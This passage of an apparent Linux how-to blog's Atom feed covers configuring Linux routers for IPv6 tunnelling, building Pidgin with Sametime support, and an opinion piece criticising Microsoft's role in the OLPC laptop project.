4001:470:1f00:ffff::189 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The most important step is to redirect all the traffic to our tunnel.&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip route add 192.168.1.0/24 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since we are using a normal linux system as router we have to enable forwarding.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;       	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#echo “1” &gt; 	/proc/sys/net/ipv6/conf/all/forwarding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#echo "1" &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;4) &lt;span style="font-weight: bold;"&gt;Configure Router B&lt;/span&gt; : (I Assume that your router is a linux box with 2 interfaces)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;eth0 : ipv4:192.168.1.1&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;eth1 : ipv6: 2001:470:1f00:ffff::190&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;    mytun : ipv6 : 4001:470:1f00:ffff::190&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;      The router "Router B" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface eth0 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip addr add 192.168.1.1 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;    Add the ip address to the interface eth1 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;     Add the route for interface eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-&lt;/style&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 route add 2001::/4 dev eth1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Now to setup the tunnel, we need to make sure we have the right module installed.&lt;br /&gt;&lt;br /&gt;A simple modprobe will get you going.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#modprobe ip6_tunnel&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in&lt;br /&gt;&lt;br /&gt;figure 2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 tunnel add mytun mode ipip6 remote  2001:470:1f00:ffff::189 	local  2001:470:1f00:ffff::190 dev&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bring up the link of the interface&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;   &lt;span style="font-weight: bold;"&gt;#ip link set dev mytun up&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assign an address to our virtual tunnel device.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;     	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;  &lt;span style="font-weight: bold;"&gt;#ip -6 addr add 4001:470:1f00:ffff::190 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The most important step is to redirect all the traffic to our tunnel.&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip route add 172.16.15.0/24 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since we are using a normal linux system as router we have to enable forwarding.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;       	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#echo “1” &gt; 	/proc/sys/net/ipv6/conf/all/forwarding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#echo "1" &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.&lt;br /&gt;&lt;br /&gt;6)Now you can ping6 across Node A and Node B via the tunnel.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;         &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-- &lt;/style&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;With these two methods we can successfully  connect ipv4 networks to ipv6.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1851886476820626696?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1851886476820626696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/02/howto-ipv6-ipv6-tunnel-and-ip4-ipv6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1851886476820626696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1851886476820626696'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/02/howto-ipv6-ipv6-tunnel-and-ip4-ipv6.html' title='HOWTO: ipv6-ipv6 tunnel and ip4-ipv6 tunnel in linux'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_yWIW9H6R1sc/R7VhhFS7gaI/AAAAAAAAAA0/5ikYP_d2HaQ/s72-c/20070531_107341_image006_201180_57_0.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8919814632398981711</id><published>2008-01-31T00:55:00.000-08:00</published><updated>2012-01-22T05:40:05.530-08:00</updated><title type='text'>Getting Pidgin To Support SameTime Protocol</title><content type='html'>I did'nt find many documents on getting pidgin to support Sametime protocol. So this guide is aimed at filling that gap.  At the time of writing this document the pidgin version was 2.3.1. This can be downloaded from &lt;a href="http://www.pidgin.im/download/"&gt;here&lt;/a&gt;. To get Sametime protocol working we need libmeanwhile installed. The library can be downloaded from &lt;a href="http://meanwhile.sourceforge.net/"&gt;here&lt;/a&gt;. But the best approach would be to install rpms/debs. You can find them in your distro extras. The libraries have dependencies on gnutls and gnutls-devel.&lt;br /&gt;So this has to installed prior to installing libmeanwhile.&lt;br /&gt;&lt;br /&gt;One libmeanwhile is set up, its time to install pidgin. Unzip pidgin and run the configure script.&lt;br /&gt;#tar jxvf pidgin-2.3.1.tar.bz2&lt;br /&gt;#cd pidgin-2.3.1/&lt;br /&gt;Run the script&lt;br /&gt;#./configure &lt;i&gt;--prefix=/usr --with-gnutls-includes=/usr/include/gnutls/   &lt;/i&gt;&lt;i&gt;&lt;br /&gt;--with-gnutls-libs=/usr/lib/&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/i&gt;Make sure that sametime protocol is selected as the part of the configure script. You configure output must be as follows:&lt;br /&gt;&lt;br /&gt;pidgin 2.3.1&lt;br /&gt;&lt;br /&gt;Build GTK+ 2.x UI............. : yes&lt;br /&gt;Build console UI.............. : yes&lt;br /&gt;Build for X11................. : yes&lt;br /&gt;&lt;br /&gt;Enable Gestures............... : yes&lt;br /&gt;Protocols to build dynamically : gg irc jabber msnp9 myspace novell oscar qq &lt;span style="font-weight: bold;"&gt;sametime&lt;/span&gt; simple yahoo zephyr&lt;br /&gt;Protocols to link statically.. :&lt;br /&gt;&lt;br /&gt;Build with GStreamer support.. : no&lt;br /&gt;Build with D-Bus support...... : yes&lt;br /&gt;D-Bus services directory...... : /usr/share/dbus-1/services&lt;br /&gt;Build with NetworkManager..... : no&lt;br /&gt;SSL Library/Libraries......... : Mozilla NSS&lt;br /&gt;Build with Cyrus SASL support. : no&lt;br /&gt;Use kerberos 4 with zephyr.... : no&lt;br /&gt;Use external libzephyr........ : no&lt;br /&gt;Has you....................... : yes&lt;br /&gt;&lt;br /&gt;Use XScreenSaver Extension.... : yes&lt;br /&gt;Use X Session Management...... : yes&lt;br /&gt;Use startup notification...... : yes&lt;br /&gt;Build with GtkSpell support... : yes&lt;br /&gt;&lt;br /&gt;Build with plugin support..... : yes&lt;br /&gt;Build with Mono support....... : no&lt;br /&gt;Build with Perl support....... : yes&lt;br /&gt;Build with Tcl support........ : yes&lt;br /&gt;Build with Tk support......... : yes&lt;br /&gt;&lt;br /&gt;Print debugging messages...... : no&lt;br /&gt;&lt;br /&gt;Pidgin will be installed in /usr/bin.&lt;br /&gt;&lt;br /&gt;Now, to compile the program&lt;br /&gt;#make&lt;br /&gt;&lt;br /&gt;Then install (needs root privilege).&lt;br /&gt;#sudo make install&lt;br /&gt;&lt;br /&gt;Its time to start pidgin.&lt;br /&gt;#pidgin&amp;amp;&lt;br /&gt;&lt;br /&gt;Once pidgin starts, you can create your sametime account as shown in the figure.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_yWIW9H6R1sc/R6Ge8iWDmAI/AAAAAAAAAAc/c8zTETV4tyk/s1600-h/pidgin1.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_yWIW9H6R1sc/R6Ge8iWDmAI/AAAAAAAAAAc/c8zTETV4tyk/s400/pidgin1.png" alt="" id="BLOGGER_PHOTO_ID_5161581410791954434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next step is to make some advanced configuration as shown in figure.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_yWIW9H6R1sc/R6GfkyWDmBI/AAAAAAAAAAk/oZ0c1-Ntj5k/s1600-h/pidgin2.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_yWIW9H6R1sc/R6GfkyWDmBI/AAAAAAAAAAk/oZ0c1-Ntj5k/s400/pidgin2.png" alt="" id="BLOGGER_PHOTO_ID_5161582102281689106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: For the newer Sametime servers, its necessary that client id is shielded. So please tick on "Hide client identity"&lt;br /&gt;&lt;br /&gt;After that save the account and close pidgin (Pidgin continues to run in the system tray. Make sure you kill that).&lt;br /&gt;Its been observed that there were some problems with pidgin authenticating to the server.&lt;br /&gt;There is a hack to get around this bug.&lt;br /&gt;Open the file ~/.purple/accounts.xml&lt;br /&gt;Search the file for "prpl-meanwhile"&lt;br /&gt;Under the &amp;lt;settings&amp;gt; of this sametime account add the following line&lt;br /&gt;&amp;lt;setting name='client_major' type='int'&amp;gt;30&amp;lt;/setting&amp;gt&lt;br /&gt;&amp;lt;setting name='client_minor' type='int'&amp;gt;6511&amp;lt;/setting&amp;gt;&lt;br /&gt;&amp;lt;setting name='client_id_val' type='int'&amp;gt;4098&amp;lt;/setting&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Common Problem Faced&lt;/span&gt;:&lt;br /&gt;You might encounter a problem that looks like this "pidgin : symbol lookup error: pidgin : undefined symbol : purple_core_ensure_single_instance"&lt;br /&gt;This problem is commonly due to the fact that you have previous version of pidgin installed. To solve this problem, do a "make uninstall" on the source directory of older pidgin. In case you have deleted the source directory then, remove the pidgin folder in /usr/local/lib/ as well as /usr/local. If its an rpm the do uninstall pidgin using -e option. Then reinstall the newly compiled pidgin by doing "make install".This must solve the problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8919814632398981711?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8919814632398981711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/01/getting-pidgin-to-support-sametime.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8919814632398981711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8919814632398981711'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/01/getting-pidgin-to-support-sametime.html' title='Getting Pidgin To Support SameTime Protocol'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_yWIW9H6R1sc/R6Ge8iWDmAI/AAAAAAAAAAc/c8zTETV4tyk/s72-c/pidgin1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-476478827723311672</id><published>2008-01-28T03:23:00.000-08:00</published><updated>2012-01-22T05:40:05.627-08:00</updated><title type='text'>OLPC Project Going Microsoft Way</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_yWIW9H6R1sc/R52-sSWDl_I/AAAAAAAAAAQ/ftU-W6a_uL8/s1600-h/12-27-07-xo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_yWIW9H6R1sc/R52-sSWDl_I/AAAAAAAAAAQ/ftU-W6a_uL8/s400/12-27-07-xo.jpg" alt="" id="BLOGGER_PHOTO_ID_5160490416084326386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The new year started with a bad news. Microsoft has got its way as far as OLPC is concerned. They have decided to go on a dual boot system with linux as one of the options. For those who do not know about OLPC, Its a project started to provide a low cost laptops to poor children.  The laptop should cost around Rs.15000. It is supposed to have a turbo charger which can be attached to a bicycle and charged. The laptop is expected to have linux as primary OS.&lt;br /&gt;&lt;br /&gt;Along came Microsoft to poke its nose. They wanted win xp to run on OLPC. They were generous enough to port the OS themselves and avoid troubles for the OLPC team. If we analyze the need for Microsoft to interfere with the OLPC is simply to avoid third world children from using linux. Microsoft is jealous and simply can't stand the next generation learning something new that might be against Microsoft. The reason given by Microsoft for the move is to benefit "Bill &amp;amp; Melinda Gates Foundation". Iam not going to buy this reason. What is even sadder is the fact that their are many people supporting this move. People blindly believe that Microsoft products are easy to use and faster. Unfortunately its far from the truth. Most of windows user by now realize that they cannot run the OS without an anti-virus software. And its a know fact that most Antivirus software takes up a lot of system resources. How can winxp work well on a low performing hardware such as OLPC with antivirus? So, the bottom line is that even though the winxp might work well on OLPC the additional software load to keep the OS safe is going to pull down the performance. You would'nt want children to be spending most of their time removing virus and formating systems. The alternate OS, linux, comes really handy here. Its free , easily customizable and light weight. So lets hope the Big Microsoft Bully stops this madness and do something constructive by letting OLPC go the original way.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-476478827723311672?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/476478827723311672/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/01/olpc-project-going-microsoft-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/476478827723311672'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/476478827723311672'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/01/olpc-project-going-microsoft-way.html' title='OLPC Project Going Microsoft Way'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yWIW9H6R1sc/R52-sSWDl_I/AAAAAAAAAAQ/ftU-W6a_uL8/s72-c/12-27-07-xo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7016128859845173481</id><published>2001-01-22T05:50:00.000-08:00</published><updated>2012-01-22T05:53:36.785-08:00</updated><title type='text'>Sitemap</title><content type='html'>&lt;div align='left'&gt;Select Category: &lt;span id="pbl_labels"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="pbl_posts"&gt;Recent Posts &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;var jumlah_maksimum_post = 100;var dengan_ringkasan = false;var jumlah_karakter_ringkasan = 100;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;script src="http://copycat91.googlecode.com/svn/trunk/recentpostsbylabel.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;script src="http://linux-guider.blogspot.com/feeds/posts/default?alt=json-in-script&amp;callback=onLoadFeed"&gt;&lt;/script&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7016128859845173481?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7016128859845173481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2001/01/sitemap.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7016128859845173481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7016128859845173481'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2001/01/sitemap.html' title='Sitemap'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
